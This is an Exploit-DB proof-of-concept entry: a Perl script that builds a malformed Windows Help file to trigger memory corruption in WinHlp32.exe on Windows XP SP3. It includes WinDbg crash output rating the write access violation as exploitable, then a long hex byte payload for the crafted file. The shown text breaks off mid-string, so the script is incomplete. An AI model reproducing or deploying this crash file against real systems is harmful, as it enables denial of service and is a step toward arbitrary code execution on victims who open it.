Exploit-DB #22303
Description: Microsoft Windows Help Program - 'WinHlp32.exe' Crash (PoC)
Type: dos
Platform: windows
Date: 2012-10-28
Author: coolkaveh

Exploit:
#!/usr/bin/perl
#Title    :  Microsoft Windows Help program(WinHlp32.exe)memory corruption
#Version  :  5.1.2600
#Date     :  2012-10-24
#Vendor   :  http://www.microsoft.com
#Crash    :  http://img69.imageshack.us/img69/7652/helpview.jpg
#Impact   :  Med/High
#Contact  :  coolkaveh [at] rocketmail.com
#Twitter  :  @coolkaveh
#tested   :  XP SP3 ENG
#Author   :  coolkaveh
#######################################################################################################
#Info :
#----
#The HLP file is Microsoft Help file documentation for the Windows operating system or Windows programs.
#The file contains documentation for the Windows operating system or Windows programs.
#----
#Bug :
#----
#Memory corruption during the handling of the hlp files by Microsoft Windows default
#help viewer (WinHlp32.exe)
#Successful exploits can allow attackers to execute arbitrary code
#######################################################################################################
#(f3c.e64): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=00000000
#ebx=000a3d08
#ecx=3fffeb6b
#edx=00000003
#esi=000a8fa8
#edi=000a9000
#eip=77c47380
#esp=0007f528
#ebp=0007f530 iopl=0         nv up ei pl nz ac po nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
#*** ERROR: Symbol file could not be found.  Defaulted to export
#symbols for C:\WINDOWS\system32\msvcrt.dll -
#msvcrt!memmove+0xd0:
#77c47380 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
#1:001>!exploitable -v
#First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
#Exception Sub-Type: Write Access Violation
#Description: User Mode Write AV
#Short Description: WriteAV
#Exploitability Classification: EXPLOITABLE
#Recommended Bug Title: Exploitable - User Mode Write AV starting at
#msvcrt!memmove+0x[PII_REDACTED]0000d0 (Hash=0x613a0f0c.0x41551815)
#User mode write access violations that are not near NULL are exploitable.
#######################################################################################################
my $poc =
"\x3F\x5F\x03\x00\x95\x03\x00\x00\xFF\xFF\xFF\xFF\xB8\x11\x00\x00\x85\x03\x00\x00\x7C\x03\x00\x00\x00".
"\x6C\x03\x21\x00\x01\x00\xB6\x50\xAF\x36\x00\x00\x01\x00\x0D\x00\x57\x69\x6E\x64\x6F\x77\x73\x20\x32".
"\x30\x30\x30\x00\x03\x00\x04\x00\x00\x00\x00\x00\x02\x00\x25\x00\x57\x65\x64\x6E\x65\x73\x64\x61\x79".
"\x2C\x20\x4A\x61\x6E\x75\x61\x72\x79\x20\x32\x37\x2C\x20\x31\x39\x39\x39\x20\x30\x39\x3A\x34\x35\x3A".
"\x32\x36\x00\x04\x00\x05\x00\x43\x53\x28\x29\x00\x04\x00\x05\x00\x43\x53\x28\x29\x00\x06\x00\x5A\x00".
"\x7F\x0F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x72\x6F\x63\x34\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8D\x02\x66".
"\x00\x68\x01\x58\x02\x04\x00\xFF\xFF\xE2\x00\xC0\xC0\xC0\x00\x06\x00\x5A\x00\x7F\x0F\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x74\x72\x6F\x75\x62\x6C\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8D\x02\x66\x00\x68\x01\x58\x02\x04".
"\x00\xFF\xFF\xE2\x00\xC0\xC0\xC0\x00\x06\x00\x5A\x00\x7F\x1B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x62\x69\x67\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x0A\x00\x58\x02\xB3\x01\x04\x00\xFF\xFF\xE2\x00\xC0".
"\xC0\xC0\x00\x06\x00\x5A\x00\x7F\x1B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6D\x6F\x72\x65\x69\x6E".
"\x66\x6F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x39\x01\x89\x00\xD2\x00\x1F\x01\x04\x00\xFF\xFF\xE2\x00\xC0\xC0\xC0\x00\x06\x00\x5A".
"\x00\x07\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x65\x72\x72\x6F\x72\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x04\x00\xFF\xFF\xE2\x00\xC0\xC0\xC0\x00\x06\x00\x5A\x00\x7F\x1B\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x6D\x65\x64\x69\x75\x6D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x73\x00\x12\x00\x5E\x01\xA9\x01".
"\x04\x00\xFF\xFF\xE2\x00\xC0\xC0\xC0\x00\x06\x00\x5A\x00\x7F\x1B\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x62\x69\x67\x62\x72\x6F\x77\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x0A\x00\x58\x02\xB3\x01\x04\x00\xFF\xFF\xE2\x00".
"\xC0\xC0\xC0\x00\x06\x00\x5A\x00\x7F\x1B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6D\x61\x69\x6E\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x73\x00\x12\x00\x5E\x01\xA9\x01\x04\x00\xFF\xFF\xE2\x00\xC0\xC0\xC0\x00\x09\x00".
"\x0A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x04\xEB\x00\x0D\x00\x6E\x6F\x63\x6F\x6E\x74\x6E\x74\x2E".